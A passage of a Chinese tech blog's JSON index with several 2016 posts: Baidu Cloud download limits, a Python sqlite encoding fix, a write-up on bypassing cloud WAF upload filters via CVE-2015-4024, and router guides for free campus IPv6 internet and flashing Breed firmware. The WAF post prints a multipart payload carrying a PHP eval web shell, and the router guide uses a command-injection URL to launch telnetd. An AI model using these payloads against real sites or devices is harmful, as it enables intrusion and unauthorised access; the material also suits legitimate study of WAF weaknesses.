及更晚)：Tampermonkey 或者 Violentmonkey。 Opera 版本 12 及更早原生支持用户脚本。但 Violentmonkey 能提供更友好的界面和更好的兼容性。 ","permalink":"https://www.hacktech.cn/post/2016/12/batch-download-without-limitations-on-baidu-cloud/","summary":"\u003cp\u003e\u003cstrong\u003e百度云限速比较坑，现在基本200k左右\u003c/strong\u003e\n\u003cstrong\u003e很多人都知道了，但是总有朋友问我，我说明一下\u003c/strong\u003e\u003c/p\u003e\n\u003ch1 id=\"首先下载idm最好支持正版\"\u003e首先下载IDM(最好支持正版)\u003c/h1\u003e\n\u003cp\u003e下载链接：\n\u003ca href=\"https://eyun.baidu.com/s/3nvg3jdf\"\u003e百度云shaoit\u003c/a\u003e\u003c/p\u003e\n\u003ch1 id=\"开始下载\"\u003e开始下载：\u003c/h1\u003e\n\u003cp\u003e一般的话，小文件直接打开浏览器就可以下载\u003c/p\u003e\n\u003ch1 id=\"大文件下载\"\u003e大文件下载：\u003c/h1\u003e\n\u003cp\u003e首先在chrome浏览器中装上一个User-Agent Switcher for (Google)Chrome插件,然后选择安卓手机，也就是打开这个的手机页面，然后直接用IDM下载\u003c/p\u003e\n\u003ch1 id=\"批量下载与外链获取\"\u003e批量下载与外链获取\u003c/h1\u003e\n\u003cp\u003e使用这个脚本，具体看链接内介绍\u003c/p\u003e","title":"突破百度云限速与网页限制批量下载"},{"content":"问题出现： You must not use 8-bit bytestrings unless you use a text_factory that can interpret 8-bit bytestrings (like text_factory = str). It is highly recommended that you instead just switch your application to Unicode strings.\n产生原因： 问题在用Python的sqlite3操作数据库要插入的字符串中含有非ascii字符时产生，做插入的时候就报当前这个错误。\n解决方法： 1. 按提示 1 2 connection = sqlite3.connect(...) connection.text_factory = str 但是如果字符中出现非ascii字符，那么依然不能解决问题，会产生不可预知的乱码，这样可以参考 2\n2. 以utf8的编码格式进行解码转为unicode编码做插入 1 2 3 4 cursor.execute(\u0026#39;\u0026#39;\u0026#39; INSERT INTO JAVBUS_DATA (姓名, 年龄) VALUES (?, ?) \u0026#39;\u0026#39;\u0026#39;, (\u0026#39;张三\u0026#39;.decode(\u0026#39;utf-8\u0026#39;), \u0026#39;22岁\u0026#39;.decode(\u0026#39;utf-8\u0026#39;))) 但是如果数据太长，这样一个一个敲挺麻烦的，下面是一个使用map函数简化的小例子\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 #-*-coding:utf-8-*- import sqlite3 def decode_utf8(aStr): return aStr.decode(\u0026#39;utf-8\u0026#39;) conn = sqlite3.connect(\u0026#34;something.db\u0026#34;) cursor = conn.cursor() cursor.execute(\u0026#39;\u0026#39;\u0026#39; CREATE TABLE IF NOT EXISTS JAVBUS_DATA( id INT PRIMARY KEY, 姓名 TEXT, 年龄 TEXT);\u0026#39;\u0026#39;\u0026#39;) print \u0026#34;Table created successfully\u0026#34; cursor.execute(\u0026#39;\u0026#39;\u0026#39; INSERT INTO JAVBUS_DATA (姓名, 年龄) VALUES (?, ?) \u0026#39;\u0026#39;\u0026#39;, map(decode_utf8, (\u0026#39;张三\u0026#39;, \u0026#39;22岁\u0026#39;))) cursor.close() conn.commit() conn.close() 其他注意： 有时用第二种方法会出现UnicodeDecodeError 加入#--coding:utf-8-- 还是不行请sys指定编码：\n1 2 3 import sys reload(sys) sys.setdefaultencoding(\u0026#39;utf8\u0026#39;) 这个问题在python3应该不会出现，python2编码问题，仅作记录\n","permalink":"https://www.hacktech.cn/post/2016/12/error-must-not-use-8-bit-bytestrings/","summary":"\u003ch1 id=\"问题出现\"\u003e问题出现：\u003c/h1\u003e\n\u003cp\u003eYou must not use 8-bit bytestrings unless you use a text_factory that can interpret 8-bit bytestrings (like text_factory = str). It is highly recommended that you instead just switch your application to Unicode strings.\u003c/p\u003e\n\u003ch1 id=\"产生原因\"\u003e产生原因：\u003c/h1\u003e\n\u003cp\u003e问题在用Python的sqlite3操作数据库要插入的字符串中含有非ascii字符时产生，做插入的时候就报当前这个错误。\u003c/p\u003e\n\u003ch1 id=\"解决方法\"\u003e解决方法：\u003c/h1\u003e\n\u003ch2 id=\"1-按提示\"\u003e1. 按提示\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e1\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e2\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003econnection \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e sqlite3\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003econnect(\u003cspan style=\"color:#f92672\"\u003e...\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003econnection\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003etext_factory \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e str\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003e但是如果字符中出现非ascii字符，那么依然不能解决问题，会产生不可预知的乱码，这样可以参考 2\u003c/p\u003e\n\u003ch2 id=\"2-以utf8的编码格式进行解码转为unicode编码做插入\"\u003e2. 以utf8的编码格式进行解码转为unicode编码做插入\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e1\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e2\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e3\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e4\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ecursor\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eexecute(\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;\u0026#39;\u0026#39;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e    INSERT INTO JAVBUS_DATA (姓名, 年龄)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e    VALUES (?, ?)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e    \u0026#39;\u0026#39;\u0026#39;\u003c/span\u003e, (\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;张三\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003edecode(\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;utf-8\u0026#39;\u003c/span\u003e), \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;22岁\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003edecode(\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;utf-8\u0026#39;\u003c/span\u003e)))\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003e但是如果数据太长，这样一个一个敲挺麻烦的，下面是一个使用map函数简化的小例子\u003c/p\u003e","title":"ProgrammingError- You must not use 8-bit bytestrings"},{"content":"绝对值得一看的技术文章 pdf下载链接\n[via@破-见 ]\n","permalink":"https://www.hacktech.cn/post/2016/09/bypass-waf-4-level/","summary":"\u003ch1 id=\"绝对值得一看的技术文章\"\u003e绝对值得一看的技术文章\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"http://7xusrl.com1.z0.glb.clouddn.com/WAF%E6%94%BB%E9%98%B2%E7%A0%94%E7%A9%B6%E4%B9%8B%E5%9B%9B%E4%B8%AA%E5%B1%82%E6%AC%A1Bypass%20WAF.pdf\"\u003epdf下载链接\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003cem\u003e[via@\u003ca href=\"http://weibo.com/ttarticle/p/show?id=2309404007261092631700\"\u003e破-见\u003c/a\u003e ]\u003c/em\u003e\u003c/p\u003e","title":"WAF攻防研究之四个层次Bypass WAF"},{"content":"1. 背景介绍 今天我们想从2015.04.03的一个PHP远程dos漏洞（CVE-2015-4024）说起。技术细节见如下链接，https://bugs.php.net/bug.php?id=69364。因为php解析body part的header时进行字符串拼接，而拼接过程重复拷贝字符导致DOS。事实上该漏洞还有其他非dos的利用价值，其中之一，就是绕过当前各种云WAF的文件上传防御策略。\n目前国内外流行的云WAF厂商有如百度云加速，360网站卫士，加速乐，云盾等。因为PHP远程dos漏洞及PHP官方修复方案的特点，我们成功利用该漏洞绕过了当前主流WAF的文件上传防御，例如百度云加速、360网站卫士、知道创于加速乐、安全狗。\n接下来，我们以PHP为例，详细解析我们的绕过方法。\n2. 绕过WAF的原理 根据PHP DOS漏洞原理，在multipart_buffer_headers函数解析header对应value时，value值存在n行。每行的字符串以空白符开头或不存字符\u0026rsquo;:\u0026rsquo;，都触发以下合并value的代码块。那么解析header的value就要执行(n-1)次合并value的代码块，从而导致DOS。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 prev_len= strlen(prev_entry.value); cur_len= strlen(line); entry.value= emalloc(prev_len + cur_len + 1); //1次分片内存 memcpy(entry.value,prev_entry.value, prev_len); //1次拷贝 memcpy(entry.value+ prev_len, line, cur_len); //1次拷贝 entry.value[cur_len+ prev_len] = \u0026#39;\\0\u0026#39;; entry.key= estrdup(prev_entry.key); zend_llist_remove_tail(header);//1次内存释放 而PHP官方修复方案，在进行合并时，避免重复拷贝，从而避免DOS。绕过WAF的关键在于，PHP multipart_buffer_headers函数解析header对应value时，value值存在多行。每行的字符串以空白符开头或不存字符\u0026rsquo;:\u0026rsquo;，将进行合并。而WAF在解析文件上传的文件名时，没有考虑协议兼容，不进行多行合并，就可以被绕过。\n根据原理构造绕过WAF文件上传防御的payload，WAF解析到的文件名为”test3.jpg”，而PHP解析到的文件名是”test3.jpg\\nf/shell.php”，因为”/”是目录分隔符，上传的文件名变为shell.php。以下是绕过paylaod、测试脚本、paylaod进行文件上传的效果图。\nWAF绕过payload: 1 2 3 4 5 6 7 8 9 ------WebKitFormBoundaryx7V4AhipWn8ig52y Content-Disposition: form-data; name=\u0026#34;file\u0026#34;; filename=\u0026#34;test3.jpg\\nsf/shell.php Content-Type: application/octet-stream \u0026lt;?php eval($_GET[\u0026#39;c\u0026#39;])?\u0026gt; ------WebKitFormBoundaryx7V4AhipWn8ig52y 文件上传功能测试脚本: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 \u0026lt;?php $name = $_FILES[\u0026#39;file\u0026#39;][\u0026#39;name\u0026#39;]; echo $name; echo \u0026#34;\\n\u0026#34;; move_uploaded_file($_FILES[\u0026#39;file\u0026#39;][\u0026#39;tmp_name\u0026#39;] , \u0026#39;/usr/local/nginx/html/upload/\u0026#39;.$_FILES[\u0026#39;file\u0026#39;][\u0026#39;name\u0026#39;]); echo \u0026#34;upload success! \u0026#34;.$_FILES[\u0026#39;file\u0026#39;][\u0026#39;name\u0026#39;]; echo \u0026#34;\\n\u0026#34;; echo strlen($_FILES[\u0026#39;file\u0026#39;][\u0026#39;name\u0026#39;]); ?\u0026gt; Payload能够正常上传\n3. 绕过WAF实战 笔者通过搭建自己的测试站，接入360网站卫士和加速乐，验证绕过WAF文件上传防御的方法。\n3.1 绕过360网站卫士 步骤1，验证网站已被360网站卫士防御，拦截了直接上传PHP文件的请求。 步骤2：成功绕过360网站卫士，上传shell成功，文件是apo.php。在该请求中，有没有Content-Type不影响绕过。 3.2 绕过知道创宇加速乐 步骤一：验证网站被加速乐保护，拦截了直接上传PHP文件的请求。 步骤二：成功绕过加速乐，上传shell，文件是syt.php。 3.3. 绕过百度云加速 百度云加速与CloudFlare，从百度匀加速拦截页面可以看出使用的是CloudFlare. 但是估计有本地化，百度云加速应该是百度和CloudFlare共同产物吧。测试百度没有搭建自己的测试环境，找了个接入了百度云加速的站进行测试。\n步骤一：验证网站被百度云加速保护，拦截了直接上传PHP文件的请求。 步骤二：成功绕过云加速 同上\n4. 扩展—更多的工作 4.1 分析filename其他字符的绕过 同理，我们发现除了双引号外，使用单引号也能绕过WAF的防御，并实现文件上传。\n1 2 3 4 5 6 7 8 9 ------WebKitFormBoundaryx7V4AhipWn8ig52y Content-Disposition: form-data; name=\u0026#34;file\u0026#34;; filename=\u0026#39;test3.jpg\\nsf/shell.php Content-Type: application/octet-stream \u0026lt;?php eval($_GET[\u0026#39;c\u0026#39;])?\u0026gt; ------WebKitFormBoundaryx7V4AhipWn8ig52y 4.2 分析其他应用脚本语言 我们也发现jsp解析也有自己的特点，同时可被用于绕过WAF。暂时未测试asp,aspx,python等常用的WEB应用脚本语言。\n5. 修复方案 5.1 修复方案一 解析文件上传请求时，如果发现请求不符合协议规范，则拒绝请求。可能会产生误拦截，需要评估误拦截的影响范围。\n5.2 修复方案二 兼容php的文件解析方式，解析文件名时，以单引号或双引号开头，并且对应的单引号双引号闭合。\n6. 总结 本文通过Review PHP远程dos漏洞(CVE-2015-4024)，并利用该特性绕过现有WAF的文件上传防御，成功上传shell。 更重要的价值，提供给我们一个绕过WAF的新思路，一种研究新方向：利用后端应用脚本与WAF行为的差异绕过WAF的防御。总的来说，一款优秀的WAF应该能够处理兼容WEB应用容器、标准协议、web服务器这间的差异。\n","permalink":"https://www.hacktech.cn/post/2016/09/cve-2015-4024/","summary":"\u003ch1 id=\"1-----背景介绍\"\u003e1.     背景介绍\u003c/h1\u003e\n\u003cp\u003e今天我们想从2015.04.03的一个PHP远程dos漏洞（CVE-2015-4024）说起。技术细节见如下链接，\u003ca href=\"https://bugs.php.net/bug.php?id=69364\"\u003ehttps://bugs.php.net/bug.php?id=69364\u003c/a\u003e。因为php解析body part的header时进行字符串拼接，而拼接过程重复拷贝字符导致DOS。事实上该漏洞还有其他非dos的利用价值，其中之一，就是绕过当前各种云WAF的文件上传防御策略。\u003c/p\u003e\n\u003cp\u003e目前国内外流行的云WAF厂商有如百度云加速，360网站卫士，加速乐，云盾等。因为PHP远程dos漏洞及PHP官方修复方案的特点，我们成功利用该漏洞绕过了当前主流WAF的文件上传防御，例如百度云加速、360网站卫士、知道创于加速乐、安全狗。\u003c/p\u003e\n\u003cp\u003e接下来，我们以PHP为例，详细解析我们的绕过方法。\u003c/p\u003e\n\u003ch1 id=\"2-----绕过waf的原理\"\u003e2.     绕过WAF的原理\u003c/h1\u003e\n\u003cp\u003e根据PHP DOS漏洞原理，在multipart_buffer_headers函数解析header对应value时，value值存在n行。每行的字符串以空白符开头或不存字符\u0026rsquo;:\u0026rsquo;，都触发以下合并value的代码块。那么解析header的value就要执行(n-1)次合并value的代码块，从而导致DOS。\u003c/p\u003e","title":"PHP DOS漏洞的新利用：CVE-2015-4024 Reviewed"},{"content":" 转载自Dyhube\n简述 笔者利用笔记本电脑实现ipv6免费上网已经有一段时间了，原理是通过ipv6访问ipv4资源，在学校网络不限流量、不限时长、20兆带宽（我们学校ipv6限速上下对等20兆，没办法！）,电脑开热点全寝室共用，那真是爽翻天 !\n但是每天回到寝室总是打开电脑开热点还真是蛋疼的事情。再说电脑也不能总是开着吧。这时我就想能不能找个路由器，一天二十四小时开机，电脑、手机、平板随时都可以连。这个想法大概出现在半年前，由于手里没有路由器，就一直没弄，但是网上是有各种成功的案例的。\n前段时间手里终于进了台K1，由于之前已经查了相当多的教程，所以就顺风顺水，很快就成功了。下面我就主要讲一下openwrt客户端的配置问题。\n意义 在大部分高校，ipv4一般是计流量或计时收费的，（笔者学校就是计时收费的，50元200小时网通十兆带宽）而且，由于校园的特殊性，相应的价格也比市面上宽带服务商要高。万幸的是，这些高校一般具有ipv6网络环境，并且由于国家的大力支持，普及范围广，而且不计算流量，聪明的人早就想能不能通过利用ipv6已达到免流量及无限时长上网？答案是可行的，鉴于目前公网的环境普遍是ipv4，我们可以找一台同时具有ipv4和ipv6地址的服务器，我们在校内通过ipv6访问服务器，然后服务器处理我们的访问请求以ipv4/ipv6双栈的方式代替我们访问互联网，再将数据通过ipv6反馈给我们，从而到达免流上网的目的。并且，考虑到大部分高校ipv6没有限制速度，理论上可以达到服务器出口的带宽，当然，具体取决于你们学校的ipv6出口带宽。\n为什么用Shadowsocks？ 配置简单，真的简单！以前看到过信息学院的学长写的一篇blog,原理是ipv6 to ipv4 从而ipv6 to ipv4网络,其实原理是一样的，只是他用了openvpn这个软件，但是感觉实现起来好难。像这样的开源支持ipv6协议的软件还是有很多的，这里就不再陈述。\n回到原题为什么用Shadowsocks，配置简单。vps服务提供商搬瓦工现在为了迎合国人的需求现在已经预配了Shadowsocks,只需要点击以下安装就ok了。\n适用对象 具有ipv6地址、ipv4流量（计时）收费贵爱折腾的大学生。不推荐打国服游戏，延迟你懂的，但对延迟没要求的游戏还是可以玩的，美服、亚服、台服随你玩。\n准备 openwrt固件路由器 路由器的刷机请自行Google,教程一大堆，刷机时笔者也遇到过很多问题，坚持！如果你的也是K1路由器，也要刷机，不妨看这个教程。刷机的重点是刷Shadowsocks插件，我的K1直接刷的来自恩山网友的固件，固件里已经附带了Shadowsocks。openwrt固件自取。openwrt控制面板上图。\nShadowsocks+ipv6节点信息 因为笔者手里有台美国的vps，并且配置了Shadowsocks，所以现在拿来就直接用，老实说搭建的Shadowsocks平常很少用，之前觉得租这个vps很是浪费。但是自从寝室里有了这台全天候开机的路由器，值了！在这里我要强调一下，Shadowsocks的节点我们需要ipv6地址的，不然还是没法走校内的ipv6通道。\n前方高能预警 操作 首先openwrt固件路由器登陆192.168.1.1，初始登录默认密码是：admin。登进去之后最好先不要对任何东西改动，按照正常路由器的配置对路由器进行拨号上网。然后选择Shadowsocks插件，选择启动。（为什么这样做呢？笔者尝试了几下，不拨号上网的话，Shadowsocks和DNS配置好了以后无法上网，最后总结，先拨号上网、再配置Shadowsocks和DNS信息）\n步骤：点击 openwrt服务\u0026gt;Shadowsocks，出现以下界面。\nShadowsocks的配置 1 2 3 4 服务器ip： 密码： 服务器端口： 加密方式： 对Shadowsocks配置好了以后，点击下面的透明代理，选择启动。\n对Shadowsocks配置好以后，我们的任务还没有结束，最重要的就是配置DNS信息。这里如果不配置DNS，IP地址选择ipv4的，Shadowsocks是国外的，那么通过这种方式使用Shadowsocks就是通过路由器来翻fq，在这里我就不多说了。\nDNS的配置 DNS设置有两种方案，一种是利用ChinaDNS，还有一种直接在DHCP/DNS设置页面（网络\u0026gt;DHCP/DNS）进行填写。\n由于本次折腾的特殊性，路由器工作在纯ipv6环境下，也就是说路由器没有ipv4的网络，但常用的DNS服务器大多是以ipv4地址方式提供的，如果使用ipv4的DNS服务器就会导致无法解析。此处用了[2001:470:0:c0::2]，但是很不幸，该DNS被污染了，无法解析如google，youtube一类网址，但是对国内的网站的解析很好。\n1 2001:470:0:c0::2 其他的DNS最好选择Google的，相对的来说，网站解析最全面，而且还可以fq,只是一部分了，选择Google的公共DNS有一个缺点，就是像移动端的微信或者qq了，朋友圈的信息或公众号加载不出来，这是很蛋疼的事情。个人还是推荐上面的那条DNS,速度快、国内网站全面，几乎全覆盖。\n下面是一些从网上找来的公共DNS，可以试验一下，说不定有什么以外的收获呢。\n1 2 3 4 5 6 7 8 9 10 11 12 13 ordns.he.net 2001:470:20::2 74.82.42.42 tserv1.fmt2.he.net 2001:470:0:45::2 72.52.104.74 tserv1.dal1.he.net 2001:470:0:78::2 216.218.224.42 tserv1.ams1.he.net 2001:470:0:7d::2 216.66.84.46 tserv1.mia1.he.net 2001:470:0:8c::2 209.51.161.58 tserv1.tor1.he.net 2001:470:0:c0::2 216.66.38.58 ns.ipv6.uni-leipzig.de 2001:638:902:1::10 139.18.25.34 Google Public DNS 1 2 3 google-public-dns-a.google.com 2001:4860:4860::8888 8.8.8.8 google-public-dns-b.google.com 2001:4860:4860::8844 8.8.4.4 码字不容易，在这里非常感谢_Echo和张哲两人的post.\n转载自Dyhube\n","permalink":"https://www.hacktech.cn/post/2016/09/openwrt-shadowsocks-ipv6/","summary":"\u003cblockquote\u003e\n\u003cp\u003e转载自\u003ca href=\"http://www.jianshu.com/p/4d44172f1a5b\"\u003eDyhube\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch1 id=\"简述\"\u003e简述\u003c/h1\u003e\n\u003cp\u003e笔者利用笔记本电脑实现ipv6免费上网已经有一段时间了，原理是通过ipv6访问ipv4资源，在学校网络不限流量、不限时长、20兆带宽（我们学校ipv6限速上下对等20兆，没办法！）,电脑开热点全寝室共用，那真是爽翻天 !\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"ipv6\" loading=\"lazy\" src=\"/images/uploads/467652383161435874515f6c4d467645313778574635516237307835.png\"\u003e\u003c/p\u003e","title":"基于Openwrt+Shadowsocks+ipv6实现校园网免流量无限时长上网"},{"content":" 文章来源于群友，如有侵权，请联系我(aha971030@gmail.com)删除\n原理介绍分析： 湖北E信地区可以使用ipv6拨号，好处是网络是上下对等不限速网络，也就是说，你的端口上限是多少，网上就可以达到多少，我测试很多次，一般在100M左右，但是遗憾的是，该拨号方式只能使用32位系统，且由于E信软件的兼容性问题，很容易导致蓝屏死机。经过大神的抓包分析，该拨号方式是使用ipv6的隧道协议传递ipv4信号。而幸运的是，现在的openwrt支持该协议。也就是说可以使用基于openwrt的路由器采用ipv6拨号。\n操作步骤： 首先要明确是，该拨号方式也是需要进行账号换算的，首先启动路由器，并插上网线，在电脑上下载winscp这款软件，然后我们查询一下我们的ip地址，在电脑的dos界面输入ipconfig，找到以太网配置器\n默认网关就是路由器的管理ip。\n然后我们启动软件，按照图片设置填入数据\n然后我们就进入了路由器的文件系统\n接着，我们要做的是，进入路由器设置里面设置相关端口参数\n在电脑的浏览器里输入管理ip地址\n进入端口设置界面\n首先设置wan口参数\n切换协议为PPPOE，并随便输入账号密码（具体的拨号的账号密码在后面我们会加以更改）并在高级设置里勾选以下参数\n然后保存并应用\n然后我们设置lan口参数\n按照该图设置\n最后，我们回到接口总界面，自己创建一个端口\n名字无所谓，但协议要选择rfc6333\n提交以后填写ipv6的地址，经过大神的尝试，下面给的这个地址是比较稳定的，建议使用\n240e:d:1000::ffff:1: 并在高级设置里面勾选默认网关\n在防火墙设置里，把这个链接拉到wan口里\n最后保存\n这样，路由器上的设置就结束了，下面转入配置文件的修改上\n依次顺序进入到如下路径\n双击network文件打开\n并在文件的位置更改\n然后点击保存\n然后进入到此目录，上传我们准备的E信算法库文件\n最后重启一下路由器，同步一下路由器的时间，就可以了 注意，不同的芯片和不同地区的openwrt路由器，sxplugin.so文件是不一样的，具体请查看我上一篇文章打包的东西。\n再说一次，文章来源于群友，如有侵权，请联系我(aha971030@gmail.com)删除\n","permalink":"https://www.hacktech.cn/post/2016/09/openwrt-use-ipv6-dialing-network/","summary":"\u003cblockquote\u003e\n\u003cp\u003e文章来源于群友，如有侵权，请联系我(\u003ca href=\"mailto:aha971030@gmail.com\"\u003eaha971030@gmail.com\u003c/a\u003e)删除\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch1 id=\"原理介绍分析\"\u003e原理介绍分析：\u003c/h1\u003e\n\u003cp\u003e湖北E信地区可以使用ipv6拨号，好处是网络是上下对等不限速网络，也就是说，你的端口上限是多少，网上就可以达到多少，我测试很多次，一般在100M左右，但是遗憾的是，该拨号方式只能使用32位系统，且由于E信软件的兼容性问题，很容易导致蓝屏死机。经过大神的抓包分析，该拨号方式是使用ipv6的隧道协议传递ipv4信号。而幸运的是，现在的openwrt支持该协议。也就是说可以使用基于openwrt的路由器采用ipv6拨号。\u003c/p\u003e\n\u003ch1 id=\"操作步骤\"\u003e操作步骤：\u003c/h1\u003e\n\u003cp\u003e首先要明确是，该拨号方式也是需要进行账号换算的，首先启动路由器，并插上网线，在电脑上下载winscp这款软件，然后我们查询一下我们的ip地址，在电脑的dos界面输入ipconfig，找到以太网配置器\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"network111\" loading=\"lazy\" src=\"/images/uploads/46684b4769627865654d4c65635a46454c4c5f4a396a786735675839.png\"\u003e\u003c/p\u003e","title":"OpenWRT路由器使用ipv6拨号上网教程"},{"content":"◆购买斐讯k1路由器 路由器在天猫京东斐讯旗舰店都有售卖，我买的价格是159，不过有一张铃铛卡，一个月之后返还160元，相当于0元购\n◆路由器刷不死Breed 1.路由与电脑有线连接好，输入192.168.2.1，完成设置 2.在浏览器地址栏输入：http://192.168.2.1/goform/Diagnosis?pingAddr=192.168.2.100|echo\u0026quot;\u0026quot;|telnetd (如果你的电脑ip不是192.168.2.100,请改成你电脑的ip(内网ip))\n3.打开tftp，这里用tftp32演示，按图设置 4.打开CMD,务必使用管理员权限，telnet 192.168.2.1 5.输入用户名密码 6.输入命令 1 2 3 4 5 6 7 8 9 10 11 1) cd /tmp 2) tftp –g –l /tmp/breed.bin –r breed.bin 192.168.2.100 3) cat /dev/mtd1 \u0026gt;/tmp/mtd1.bin cat /dev/mtd0 \u0026gt;/tmp/mtd0.bin 4) tftp –p –r mtd1.bin –l /tmp/mtd1.bin 192.168.2.100 tftp –p –r mtd1.bin –l /tmp/mtd1.bin 192.168.2.100 5) mtd_write write breed.bin Bootloader 等待出现#字 7.拔掉电源，然后按住reset键插上电源，地址栏输入192.168.1.1，就进入了breed界面 懒人一键式安装法： 输入： wget http://breed.hackpascal.net/breed-mt7620-reset1.bin 然后输入： mtd_write write breed-mt7620-reset1.bin Bootloader\n等待出现#字（代表着已经完成）\n刷breed后语 只要路由breed不被变动，路由刷错固件也不怕，同样方式进入breed刷回正确的即可。\n推荐每次刷完固件后，去固件系统管理\u0026ndash;恢复原厂默认值。\n◆刷openWRT 1.刷新固件 我在下面的文件中打包了两个固件，一个是潘多拉的K1专版，一个是openWRT，我自己使用的是专版潘多拉，各位看官自己选择，刷新固件很简单，看图 点击更新，看路由灯全部亮起后，无线网络出现,OK\n◆安装e信(NetKeeper)插件并进行拨号 1.你得准备一些东西(WINSCP一个，op系统相关netkeeper一只）找到对应地区更改文件名为sxplugin.so 2.通过WINSCP登录你的路由器 ** 注意使用scp协议，密码admin（第一次登录op需要重设密码依然设为admin就可以了 **\n3.放入拨号插件 登录之后打开路由器，在这儿选择/(root）然后选择/usr/lib/pppd/2.4.7文件夹将你编辑好的sxplugin.so文件放入即可（** 这里的sxplugin.so是自己更名的，湖北的就选择wuhan的来更名，文件在文末有打包 ** ）\n4.设置帐号密码拨号 通过浏览器登录浏览器打开网络下的接口选择WAN口点击修改，协议选择PPPOE即可，然后下面有个按钮点一下会出来填帐号密码的，账户和密码也要写对，我是重庆动态密码可以正常用。（蓝字我是加了中文包的，你刷了过后是英文呢，凑合看吧，加中文包需要路由器联网。）\n最后点击保存应用退出\n5.最后的配置 通过WINSCP登录路由器同样打开文件夹/etc/config/找到network修改 在图中的位置输入option \u0026lsquo;pppd_options\u0026rsquo; \u0026lsquo;plugin 